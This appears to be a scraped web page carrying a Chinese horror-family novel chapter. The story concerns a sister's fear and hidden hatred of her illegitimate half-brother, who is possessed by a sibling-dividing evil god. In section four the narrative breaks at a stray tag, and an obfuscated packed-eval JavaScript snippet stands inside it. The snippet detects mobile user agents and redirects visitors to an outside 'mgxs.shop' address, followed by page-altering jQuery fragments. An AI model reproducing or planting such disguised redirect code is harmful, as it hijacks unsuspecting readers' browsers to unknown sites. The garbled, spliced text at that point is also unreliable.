一
席悯春第一次清楚地认识到席鸿秋不对劲,是在一九九八年冬天。那年她二十岁,在京城的音乐学院读大二。席鸿秋十岁,在贵族小学读四年级。
他们相差十岁。同父异母的姐弟——席鸿秋是席家的私生子。
他母亲姓李,只是个很普通的女人,在席家做过一段时间的保姆。她替早逝的夫人带大了席悯春。
她一直叫她阿姨。
席家的家主席定州是个很有手段的商人,在慕坪市经营着好几家公司,这人本事大,脾气更大。家里经常要换家具,本来都是李阿姨负责。
直到席鸿秋的到来。
李阿姨生下他就走了,去哪儿了没人知道,也没人敢问。
但席悯春心里总有一种悲伤,没来由的,觉得阿姨已经走了,去到另一个世界的走了。
她不敢想发生了什么。
席鸿秋不爱说话。他像总沉浸在自己的世界里,脱离与世界之外。
他看人的时候,眼睛很亮,但直勾勾的,让人不寒而栗。
几乎每个来家里的客人都会被他吓到,这时候席父就会温言送走客人,锁上门,关上窗,用棒子招待他。
席鸿秋不躲,也不哭不闹,依然定定地看着前面,在父亲看不到的地方露出一抹笑。
席悯春小时候觉得这个弟弟有点可怕。长大以后习惯了,但还是觉得可怕。
那年冬天特别冷。席悯春放寒假回家,在院子里看见席鸿秋,他仰着头看那株银杏树。光秃秃的枝桠伸向天空,像一把倒插的扫帚。
“看什么?”她问。
席鸿秋没回头。“树。”
“树有什么好看的?”
“没有。”他说,“就是觉得它活太久了。”
席悯春愣了一下。“什么意思?”
席鸿秋收回目光,看着她。那眼神让她一阵恍惚,让她想起市中心那个公园里的池子,再怎么清澈亮丽,也还是一潭死水。
“没什么。”他说,走了。
那天夜里,席悯春翻来覆去地睡不着。她躺在床上,听见隔壁房间有动静。有人在说话。很轻,很碎,像是在自言自语。
她起来,贴着墙壁听。听不清说什么,但能听出那个声音不是席鸿秋的。是另一个人的,更沉,更哑,像是从喉咙深处挤出来的。
她犹豫了一下,敲了敲墙壁。隔壁立刻安静了。
第二天吃早饭的时候,席鸿秋坐在对面,端着粥碗,喝得很慢。席悯春看着他,想问什么,但不知道怎么开口。
“昨晚……”她开了个头。
席鸿秋抬起眼睛。
“什么?”
“昨晚你有没有听见什么声音?”
席鸿秋看着她,看了很久。然后他笑了。那笑容很淡,像冬天早晨的太阳,看着亮,但体感很冷。
“没有。”他说,“可能你听错了。”
席悯春没再问。但她知道,自己没听错。但她没继续问。
此事不宜闹大。
二
席鸿秋是什么时候开始变的,席悯春说不清楚。
她记得他小时候不是这样的。五六岁的时候,他会笑,会闹,会追着她叫姐姐。虽然笑得不多,但那是真的笑。眼睛弯弯的,亮亮的,和现在不一样。
在他知道自己的身世之后,他就变了。
席定州从来不提那个女人。他把家里所有和那个女人有关的东西,碰过的,看过的,看起来会是她喜欢的……全都换了个遍。席悯春偶尔问起,父亲就沉下脸,说:“你记错了。”
有时席悯春甚至怀疑自己——是不是自己记错了,是不是真的从来没有这个人。
但不是,席鸿秋存在着,他证明了自己的母亲不是他人的臆想。
但他也从来不提她。
他会在某些时候,忽然安静下来,看着某个方向发呆。不是看东西,是想事情。在想什么,没人知道。
席悯春总觉得,席鸿秋有个很要好的朋友。那个朋友,住在他心里。
她第一次有这种感觉,是他七岁那年的冬天。
那天席定州带他们去参加一个酒会。席悯春不喜欢那种场合,但父亲让去,她不敢不去。席鸿秋跟在后面,穿着小西装,打着领结,看起来像个精致的人偶。
酒会上有个老板,喝多了,搂着席定州的肩膀说:“老席,你这儿子长得真像你啊。”
席定州笑笑,没说话。
那老板又看看席鸿秋,说:“这么俊俏,令堂想必也十分漂亮吧?”
席鸿秋抬眼。
席悯春回头。
席定州的笑淡了。
老板抖了抖,终于想起察言观色般后退两步,一个劲地道歉。
席定州拍拍他的肩,一副无所谓的样子,揽着他走到远处。
袖子似乎被谁拽住了。
席悯春的眼神收回来,揉了揉弟弟的头,没说什么。
席定州的目光投来,又满意的移开。
回去的路上,席鸿秋坐在后座,一句话都没说。席悯春坐在他旁边,能感觉到他身上有一股冷意,像冬天开窗时灌进来的风。
“鸿秋。”她叫他。
他没应。
“席鸿秋。”
他转过头,看着她。那双眼睛在路灯的照射下忽明忽暗,像两颗玻璃珠子。
“怎么了?”
“你没事吧?”
他沉默了一会儿。“没事。”他说,“我就是想,我妈现在在哪儿。”
席悯春不知道怎么回答。
“她会不会想我?”他问。
席悯春张了张嘴,说不出话。
席鸿秋又转过头,看着窗外。“算了,”他说,“不重要。”
那天晚上,席悯春又听见了那个声音。不是自言自语,是对话。席鸿秋在和什么东西说话。对方的声音混着悉悉索索的杂音,她听不清,但席鸿秋的回应历历可辨。
“……我知道。”
“……不用你教我。”
“……别烦我。”
最后一句没压住声音:“我说了闭嘴!”
然后一片安静。
席悯春把被子蒙住头,心跳得很快。她告诉自己,那只是席鸿秋在打电话。
即使席定州从来没给他们配备过电话。
三
又过了几年,席悯春想,彻底不对劲了起来。
席定州在生意上栽了跟头。一个合作多年的伙伴卷款跑了,留下一堆烂账。席定州一夜之间老了十岁,头发白了一半,脾气也坏了一半。他开始酗酒,喝多了就骂人,骂那个跑路的伙伴,骂不争气的下属,骂席悯春,骂席鸿秋。
“你们有什么用?”他拍着桌子说,“一个个的都是废物!席家养你们有什么用?”
席悯春低着头,不说话。席鸿秋站在她旁边,也不说话。
少年的个子极速的增长,已经超过了姐姐,直逼父亲。他的手藏在身后,虚虚的握着,像拿着什么东西,席悯春侧眼看去,什么都没有。
席定州骂累了,倒在沙发上睡着了。席悯春去拿毯子,回来的时候,看见席鸿秋站在父亲面前,低头看着他。
“鸿秋?”她叫他。
他回过头,脸上没什么表情。但在那一瞬间,席悯春看见了一样东西——他的影子在动,在膨胀。像有什么东西在里面翻涌,要挣脱出来。
“你……”席悯春后退了一步。
席鸿秋看着她,沉默了几秒。然后他笑了。那笑容和以前不一样——里面掺杂了一种可怕的东西。
恶。
不加掩饰的恶。
“姐姐,”他说,特意拖了长音,像蜜糖一样,说出的话却裹着刀子,“你觉得他配当父亲吗?”
席悯春不知道怎么回答。
“他配吗?”席鸿秋又问。
“鸿秋,他是你爸爸。”
她语气温和,几乎和平时没有不同。手却在背后猛地攥紧又松开。
席鸿秋的笑容收了起来。他转过身,走回自己房间。关门的时候,没有声音。但那扇门关上的瞬间,席悯春觉得整栋房子都震了一下。
那年夏天,席定州的公司倒闭了。不是因为那个跑路的伙伴,而是因为一连串莫名其妙的意外。合同签错,货期延误,客户反悔,供应商断供。每一件事都像是巧合,但连在一起,就像有人在背后操纵。
席定州查了很久,查不出是谁。他只能认栽,把公司关了,把家产卖了,搬到一个更小的房子。
搬家那天,席悯春收拾东西,在席鸿秋的床底下发现了一个盒子。铁皮的,很旧,上面画着一些奇怪的符号。她打开看了一眼,里面是一叠纸片,每张纸片上都写着一个人的名字,名字下面画着红色的叉。
季庭,漆一南,成从阳,路子容……
席定州的名字被压在最下面。叉最多。
她的手抖了一下。盒子掉在地上,纸片散了一地。
“姐姐。”
她抬起头。席鸿秋站在门口,靠着门框,手里拿着一杯水。他的表情很平静,像什么都没发生。
“你……”席悯春想说点什么,但喉咙像被什么东西堵住了。
席鸿秋走进来,蹲下身,把纸片一张一张捡起来,放回盒子里。他的动作很慢,很仔细,像是在做一件很郑重的事。
“鸿秋,你做了什么?”
他没回答。
“席鸿秋,你到底做了什么?”
他把最后一张纸片放好,盖上盖子,站起来。他看着席悯春,那双眼睛在昏暗的房间里亮得吓人。
“姐姐,”他说,“你信不信神仙?”
席悯春愣住了。
他转身离开。
那天晚上,席悯春没有睡。她躺在床上,听着隔壁的声音。这一次,她没有去敲墙壁。她只是听着,听见席鸿秋在和什么东西说话,听见他笑了,听见他说“不用着急,慢慢来”。
她想起小时候的席鸿秋。那个会追着她叫姐姐的男孩,那个笑起来眼睛弯弯的男孩。那个男孩已经不见了。
她不知道他去了哪里。
她闭上眼,止不住地回想起那些纸片。那里面,有她的名字,下面一个红叉也没有。
四
二〇〇四年秋天,席鸿秋出了事。
学校打来电话的时候,席悯春正准备去上音乐课。电话打个不停,席悯春只好拉住路过的教语文的逄老师,让他帮忙代课。
电话里说席鸿秋在课堂上和老师起了冲突,把老师推倒了。
席悯春请了假,连夜赶回家。到家的时候,席鸿秋坐在客厅里,背靠着沙发,脸上没什么表情。
家里没有别人。席定州早就死了。
“鸿秋!”
他转过头,看见她,嘴角动了动,像要说什么,但没说。
“怎么回事?”席悯春在他旁边坐下,“老师说你推她了。”
席鸿秋低着头,看着自己的手。
“她骂我。”他说,“她说我没教养,说我是没妈的孩子。说我是个灾星,克爹克娘,还要克——”
席悯春的心揪了一下。
“然后我就……”席鸿秋抬起头,看着她,“姐姐,你信不信,推她的时候,不是我想推的。”
席悯春没说话。
“是祂让我推的。”他说,“祂说那个人在骂我,让我还手。我本来不想的,但祂一直在说,一直在说,我就……”
他低下头,肩膀微微发抖。
“姐姐,你说我是不是疯了?”
席悯春伸出手,把他拉过来,抱住他。他僵了一下,然后慢慢放松了,把头靠在她肩上。十六七岁的大男孩,蜷在她边上,像一只伯恩山犬。
席悯春的笑渐渐消失。
在她的背后,席鸿秋的笑渐渐扩大。
“你没疯。”她说。
席鸿秋没说话。
“你没疯,”她又说了一遍,“你只是……太累了。”
席鸿秋在她怀里闷闷地说:“姐姐,你信不信我?”
“信。”
“真的?”
“真的。”
席鸿秋没再说话。席悯春抱着他,感觉到他的心跳。很快,像一只受惊的小动物。
“姐姐,”过了一会儿,他说,“祂说要帮我。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420263|200808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“帮你什么?”
“帮我让那些欺负我的人付出代价。”
席悯春的手收紧了一些。“鸿秋,你不需要祂帮忙。”
“为什么?”
“因为……”席悯春想了想,“因为你是席家的人。你姓席,你是我弟弟。谁敢欺负你,我帮你。”
席鸿秋抬起头,看着她。那双眼睛在灯光下亮得吓人,但这一次,不是冷的,也不是热的。是一种她说不清的东西。像是在确认什么。
“真的?”他问。
“真的。”
他看了她很久。然后笑了。这一次,是真的笑。眼睛弯弯的,亮亮的,和小时候一样。
“谢谢。”他说。
五
但席悯春知道,事情没那么简单。
那天晚上,她等席鸿秋睡了,悄悄去了他的房间。盒子还在床底下,她把它拖出来,打开。纸片一张一张翻过去,席定州的,她的,还有那些她不认识的人的。名字下面红色的叉变多了。
她的目光停留在自己的名字上,下移,看到了一个鲜红的叉,颜料还没干,是新画上去的。
她翻到最后一张。上面没有名字,只有一行字,写得歪歪扭扭,像是小孩子写的:
“祂说,只要我想要,什么都可以给我。”
席悯春的手抖了一下。她把盒子放回去,轻轻关上门,回到自己房间。她坐在床边,想了很久。
然后她做了一个决定。
第二天,她去找了一个人。
那个人叫薄野明,是玄晖集团的行政总监。席悯春和他不太熟,只见过几次面。但她知道,这个人认识一些奇奇怪怪的人,知道一些奇奇怪怪的事。是席定州生意上的朋友介绍的——父亲死后,只有他还在跟他们保持联系——说这个人路子很野,什么事都能摆平。
她约他在一家咖啡厅见面。薄野明来的时候,穿着一件深灰色的大衣,头发梳得很整齐。他环视了一圈,视线精准锁定在她身上。
“席小姐,有什么事?”
席悯春犹豫了一下,把席鸿秋的事套在别人身上说了。没说太细,只说这人最近不太对劲,好像被什么东西缠上了。
薄野明听完,沉默了一会儿。
“你信神仙吗?”他问。
“我不知道。”席悯春答,“但我想知道。”
薄野明看着她,那双眼睛在灯光下显得很深。
“席小姐,”他说,“有些事,知道得太多不是好事。”
“我不怕。”
薄野明笑了笑。那笑容很短,短到让人怀疑自己的眼睛。
“这不是怕不怕的问题。”他说,“你知道了之后,可就回不去了。”
席悯春沉默了一会儿。
“那你就当我是来找你帮忙的。”她说,“多少钱都行。”
薄野明看着她,看了很久。然后他从口袋里掏出一张名片,放在桌上。
“你回去查查这个。”他说,“查到了,也许就知道该怎么办了。”
席悯春低头看那张名片。上面只印着两个字:
庳墟。
六
庳墟,席悯春知道哪里,现在在阳宁的厝明市,据说曾是古代某位侯爷的封地。
但她没有去。
不是因为害怕,是因为席鸿秋在她出发的前一天晚上,来找她了。
那天夜里很晚了,她正在收拾行李。有人敲门,她打开,席鸿秋站在门口,衣着整齐,像刚从外面回来。
“姐姐,”他说,“你要去哪儿?”
席悯春愣了一下。“没有,我没要去哪儿。”
席鸿秋看着她,那眼神不像在看姐姐,像在看一个陌生人。
“我知道,我听见了。”他说,“你要去厝明。”
席悯春没说话。
“不要去。”席鸿秋说,“那里什么都没有。”
“你怎么知道?”
席鸿秋没回答。他走进来,坐在她床上,低着头,看着自己的手。他的手保养的很好,手指细长,指甲剪得很短。
“姐姐,你知道祂是谁吗?”他忽然问。
席悯春摇摇头。
“祂是庳墟侯。”席鸿秋说,“一个邪神。专门挑唆兄弟姐妹之间反目成仇的。”
席悯春的心沉了一下。
“祂是来找我的。”席鸿秋说,“祂说祂等了我很久。说我们是一类人。都是被忽视的,被抛弃的,没人要的。”
他抬起头,看着席悯春。那双眼里似乎闪着光,是一种她从来没见过的颜色。
“姐姐,你觉得祂说得对吗?”
席悯春张了张嘴,不知道怎么回答。
“我是被抛弃的。”席鸿秋说,“我妈不要我,爸也不要我。就连你……你也不是真心爱我。”
席悯春想说不,但说不出来。
因为她的爱确实是假的。
她不是没有试过。她试了很多年。告诉自己他是无辜的,告诉自己阿姨养大了她她应该感恩,告诉自己一个“好姐姐”应该爱自己的弟弟。
但都没用。
所以她选择演。演一个爱他的姐姐。演给所有人看——演给老师看,演给邻居看,演给席定州生前那些朋友看。她要让所有人都觉得,席家的女儿席悯春,是一个善良的、大度的、不计前嫌的好人。
演了十几年。有时候她觉得自己都快信了。
但席鸿秋刚才那句话,像一根针,把那层薄薄的壳戳破了。
她在恨着他。
她还是无法爱一个第三者生出来的孩子。
即使她的母亲早就死了。
即使他的母亲养大了她。
即使那根本不是他的错,甚至不是她的错——
她也无法释怀。
她在恨着他。
席鸿秋笑了。那笑容很淡,像冬天早晨的太阳。
“没事,”他说,“恨是对的。我也恨我自己。”
他站起来,走到门口。
“姐姐,不要去厝明。”他说,“那里什么都没有。只有祂。”
他走了。
席悯春站在原地,很久没动。